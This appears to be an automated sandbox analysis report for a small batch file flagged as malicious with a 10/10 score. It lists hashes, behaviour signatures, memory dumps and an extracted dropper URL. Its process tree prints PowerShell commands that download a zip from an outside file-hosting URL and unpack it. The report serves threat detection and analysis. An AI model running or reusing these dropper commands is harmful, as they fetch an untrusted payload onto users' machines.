1f2ddc6098fc1879106e8651c5c3c629104f994272b4fa1a04d67c8a723925ec

Analysis

max time kernel
1728s
max time network
1149s
platform
windows10-2004_x64
resource
win10v2004-20230915-en
resource tags

arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
submitted
15-10-2023 00:56

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General

Target

tesy - Copy (3).bat
Size

702B
MD5

65f016a2abe40d2902c7032438a14bd7
SHA1

b3537668ca1bb826e5085aee38b3f7ec654d606e
SHA256

153b384b64bd371e0236c8497c9706db00cc102f068ea8fd4569d20b3b5a6fd8
SHA512

b52486cdc585277de12287b4b2ab17c9e401bfeaee78555fd6d8760d7954b4e361f6e3ec32e4d694ba2cfa69d3d843d0f192539f0c893500b801c05a13b488f7

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip

Signatures

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3444	powershell.exe
3444	powershell.exe
5052	powershell.exe
5052	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3444	powershell.exe
Token: SeDebugPrivilege	5052	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2320 wrote to memory of 3444	2320	cmd.exe	86
PID 2320 wrote to memory of 3444	2320	cmd.exe	86
PID 2320 wrote to memory of 5052	2320	cmd.exe	87
PID 2320 wrote to memory of 5052	2320	cmd.exe	87

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (3).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2320
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip', 'test.zip')"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3444
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5052

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
abc27673d9c940ad74b41c58391d2412

SHA1
9a31a521a521dcd0f974ce6f7a50aecc69a50df0

SHA256
cb3f2adb2f5e39fbe5ae3c49837d9074a85f21e9be7eb8404444611f78a08357

SHA512
c7a574f9a53d29e2212500eb48fb05f475bac1e21b858f58e0e441caabea760ba7b7425a98610bf91e66d662f70a91c210b522bbecad3f5180e1aedbf6cfcdc4

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tcpju0wa.yff.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3444-13-0x000002A1EF470000-0x000002A1EF480000-memory.dmp

Filesize
64KB

Download
memory/3444-10-0x00007FFE74C80000-0x00007FFE75741000-memory.dmp

Filesize
10.8MB

Download
memory/3444-12-0x000002A1EF470000-0x000002A1EF480000-memory.dmp

Filesize
64KB

Download
memory/3444-14-0x00007FFE74C80000-0x00007FFE75741000-memory.dmp

Filesize
10.8MB

Download
memory/3444-15-0x000002A1EF470000-0x000002A1EF480000-memory.dmp

Filesize
64KB

Download
memory/3444-16-0x000002A1EF470000-0x000002A1EF480000-memory.dmp

Filesize
64KB

Download
memory/3444-19-0x00007FFE74C80000-0x00007FFE75741000-memory.dmp

Filesize
10.8MB

Download
memory/3444-11-0x000002A1EF470000-0x000002A1EF480000-memory.dmp

Filesize
64KB

Download
memory/3444-9-0x000002A1F1520000-0x000002A1F1542000-memory.dmp

Filesize
136KB

Download
memory/5052-21-0x00007FFE74D30000-0x00007FFE757F1000-memory.dmp

Filesize
10.8MB

Download
memory/5052-31-0x000001B071600000-0x000001B071610000-memory.dmp

Filesize
64KB

Download
memory/5052-33-0x000001B071600000-0x000001B071610000-memory.dmp

Filesize
64KB

Download
memory/5052-34-0x000001B071600000-0x000001B071610000-memory.dmp

Filesize
64KB

Download
memory/5052-36-0x00007FFE74D30000-0x00007FFE757F1000-memory.dmp

Filesize
10.8MB

Download